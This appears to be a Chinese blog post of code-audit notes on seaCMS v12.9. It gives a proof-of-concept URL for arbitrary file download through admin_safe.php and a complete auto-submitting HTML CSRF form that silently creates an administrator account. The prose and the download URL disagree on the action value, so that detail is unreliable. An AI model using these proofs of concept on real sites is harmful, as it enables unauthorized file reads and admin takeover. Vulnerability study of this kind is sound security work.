当前位置: 首页 > news >正文

seaCMS v12.9代码审计学习(下半)

文章目录

    • admin/admin_safe.php任意文件下载
    • CSRF 添加管理员账户
    • CSRF配合XSS弹cookie

admin/admin_safe.php任意文件下载

在admin_safe.php文件下有着这么一段代码,他的作用时检查action的值是否为download,如果为download那么将你传入的文件直接打印给你。这里并未对用户传入的file变量做任何过滤。
在这里插入图片描述
poc:http://www.seacms/ozcf6u/admin_safe.php?action=scan&file=E:/phpStudy_64/phpstudy_pro/WWW/SeaCMS_12.9/Upload/ozcf6u/admin_safe.php,即可下载任意目录下的文件。
在这里插入图片描述

CSRF 添加管理员账户

poc:

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="http://www.seacms/ozcf6u/admin_manager.php?action=add" method="POST"><input type="hidden" name="username" value="test" /><input type="hidden" name="pwd" value="test" /><input type="hidden" name="pwd2" value="test" /><input type="hidden" name="groupid" value="1" /><input type="submit" value="Submit request" /></form><script>history.pushState('', '', '/');document.forms[0].submit();</script></body>
</html>

成功效果图:
在这里插入图片描述

CSRF配合XSS弹cookie

很多漏洞网上很多师傅都大多复现过,大同小异,这里就不赘述了。

http://www.lryc.cn/news/459566.html

相关文章:

  • 麒麟信安CentOS安全加固案例获评中国信通院第三届“鼎新杯”数字化转型应用奖
  • Java 中消除 If-else 技巧总结
  • 每个平台团队都应该跟踪的API指标
  • Windows 11 24H2版本有哪些新功能_Windows 11 24H2十四大新功能介绍
  • 渗透测试 之 AD域渗透 【Kerberoasting】 攻击技术讲解 对应得工具详细介绍哟~ 以及相关示例 按照步骤做你也会哟
  • 如何在Ubuntu上更改MySQL数据存储路径
  • Cortex-M 内核的 OS 特性
  • 第十六章 RabbitMQ延迟消息之延迟插件优化
  • [单master节点k8s部署]32.ceph分布式存储(三)
  • git 相关问题解决一一记录
  • UE4 材质学习笔记04(着色器性能优化)
  • 3、Redis Stack扩展功能
  • Flythings学习(二)控件相关
  • 关于multiprocessing使用freeze_support()方法
  • 基于rk356x u-boot版本功能分析及编译相关(一)
  • Jenkins---01
  • 第十五届蓝桥杯C++B组省赛
  • 线程 vs 虚拟线程:深入理解及区别
  • 【WEB应用安全测试指南–蓝队安全测试2】--超详细-可直接进行实战!!!亲测-可进行安全及渗透测试
  • 使用HTML、CSS和JavaScript创建滚动弹幕效果
  • 【C语言】--数组
  • 面向B2B市场的Spring Boot医疗病历系统开发
  • 闭着眼学机器学习——支持向量机分类
  • 今日指数项目day8实战权限管理器(上)
  • 《机器学习与数据挖掘综合实践》实训课程教学解决方案
  • linux中软连接和硬链接的区别
  • #Swift 对比 Static 在Swift 和 OC中的用法
  • yakit使用教程(三,端口探测和指纹扫描)
  • 一维数组的引用
  • Vue3 watch 监视属性